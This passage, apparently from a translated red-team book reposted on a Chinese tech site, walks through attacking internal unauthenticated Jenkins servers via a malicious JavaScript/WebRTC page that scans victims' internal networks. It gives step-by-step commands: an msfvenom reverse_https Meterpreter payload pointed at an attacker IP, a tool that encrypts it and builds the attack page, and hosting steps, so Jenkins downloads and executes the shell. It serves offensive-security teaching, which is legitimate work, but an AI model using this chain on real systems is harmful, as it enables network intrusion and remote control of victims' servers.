5.3 内部 Jenkins 漏洞和社会工程攻击结合
作为红队,攻击的创造性总是令我们非常兴奋。我们喜欢利用旧的漏洞并再次使它们“焕然一新”。例如,如果您一直在执行网络评估,就会知道,如果遇到无须身份验证的 Jenkins 应用程序(开发人员大量使用它进行持续集成),这几乎意味着完全突破。
这是因为它具有允许 Groovy 脚本执行测试的“特性”。利用这个脚本控制台,我们可以使用 Shell 执行命令,访问底层系统,如图 5.11 所示。
这种方法在突破方面变得如此受“欢迎”的原因是,几乎每家大公司都有使用 Jenkins 案例。外部攻击的问题是这些 Jenkins 服务都是内部托管的,无法从外部访问。
图 5.11
我们如何远程执行这些服务器上的代码?在回答这个问题之前,我告诉团队退后一步,用 Jenkins 构建一个仿真网络进行测试。一旦我们很好地理解了代码执行请求的功能,就可以构建适当的工具,实现远程执行代码。
在测试环境中,我们通过使用 JavaScript 和 WebRTC(网站实时通信)的多个步骤解决了这个问题。首先,一个组织的被攻击者,访问公共网站(攻击者控制)或存储 XSS 静荷的页面。被攻击者访问公共网站,攻击者将在其浏览器上执行 JavaScript,运行恶意静荷。静荷会利用 Chrome/Firefox“功能”,允许 WebRTC 公开被攻击者的内部 IP。通过内部 IP,我们可以推断被攻击者主机的本地子网,了解其公司的 IP 范围。现在,攻击者可以使用定制的 Jenkins 攻击程序,通过默认端口 8080 扫描网络范围内的每个 IP 地址(代码只扫描本地“/24”子网,但在真实的行动中,扫描范围要大得多)。
接下来的问题是,我们使用什么静荷?如果使用过 Jenkins 控制台 Shell,就会知道漏洞对于静荷比较“挑剔”。使用复杂的 PowerShell 静荷可能会很困难。为了解决这个问题,我们在本书中创建了一个名为“generateJenkinsExploit.py”的工具,该工具加密二进制文件,构建恶意攻击 JavaScript 页面。当被攻击者访问恶意网页时,它获取其内部 IP 地址,并开始将漏洞利用工具发送到“/24”范围内的所有服务器。当找到存在漏洞的 Jenkins 服务器时,首先运行一个 Groovy 脚本静荷,从互联网上获取加密的二进制文件,将其解密到 C:\Users\Public\RT.exe 目录中,执行 Meterpreter 二进制文件(RT.exe)。
从理论上来讲,这与服务器端请求伪造(SSRF)非常相似,我们强迫被攻击者的浏览器重新启动内部 IP 的连接,如图 5.12 所示。
图 5.12
- 被攻击者访问存储 XSS 或恶意 JavaScript 页面。
- 被攻击者的浏览器执行 JavaScript / WebRTC,获取内部 IP,使用 Groovy POST 静荷,扫描本地内部网络。
- 在找到存在漏洞的 Jenkins 服务器后,Groovy 代码通知 Jenkins 服务器,从攻击者的服务器获取加密的静荷,然后解密并执行二进制文件。
- 在这种情况下,下载的加密可执行文件是 Meterpreter 静荷。
- 在 Jenkins 服务器上执行 Meterpreter,然后连接到攻击者的 Meterpreter 服务器。
注意:
最新版本的 Jenkins 中已不存在此漏洞。Jenkins 2.x 之前的版本未启用 CSRF 保护(允许盲调用脚本)以及身份验证机制,在默认情况下是存在漏洞的。
完整的 Jenkins 漏洞实验室如下。
- 我们将构建一个 Jenkins Windows 服务器,用于重复开展攻击测试。
- 在本地网络上安装具有桥接接口的 Windows 虚拟机。
- 在 Windows 系统中,下载并安装 Java 的 JDK 8。
- 下载 Jenkins War 文件。
- http://nurrors.jenkims.io/war-stable/1.651.2/
- 启动 Jenkins。
- java -jar jenkins.war
- 浏览 Jenkins。
- http://<Jenkins_IP>:8080/
- 测试 Groovy 脚本控制台。
- http://<Jenkins_IP>:8080/script
在 THP Kali 虚拟机上对 Jenkins 实施漏洞攻击,如图 5.13 所示。
图 5.13
- 下载 THP Jenkins 漏洞利用工具(http://bit.ly/2IUG8cs)。
- 进行实验,首先创建 Meterpreter 静荷。
- msfvenom -p windows/meterpreter/reverse_https
LHOST = <attacker_IP> LPORT = 8080 -f exe> badware.exe
- msfvenom -p windows/meterpreter/reverse_https
- 加密 Meterpreter 二进制文件。
- cd/opt/generateJenkinsExploit
- python3 ./generateJenkinsExploit.py -e badware.exe
- 创建名为 badware.html 的恶意 JavaScript 页面。
- python3./generateJenkinsExploit.py -p http://<attacker_IP>/badware.exe.encrypted> badware.html
- 将加密的二进制和恶意 JavaScript 页面都移动到 Web 目录。
- mv badware.html/var/www/html/
- mv badware.exe.encrypted/var/www/html/
现在,在完全不同的系统中,使用 Chrome 或 Firefox 访问攻击者网页 http://<attacker_IP>/ badware.html,如图 5.14 所示。只需访问该恶意页面,被攻击者的浏览器就会加载 Groovy 静荷,使用 JavaScript 和 POST 请求,通过端口 8080,对被攻击者的内部“/24”网络地址进行扫描攻击。当找到 Jenkins 服务器时,Groovy 脚本通知该服务器,下载加密的 Meterpreter,解密并执行。在企业网络中,被攻击者最终可能获得大量的 Shell。
图 5.14
Jenkins 只是您可以实施攻击的一种方法,而且无须身份验证即可实现代码执行,支持 GET 或 POST 的任何应用程序都适用这个场景。在这里,您需要确定被攻击者在内部网络使用哪些应用程序,从而定制恶意攻击的方式。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论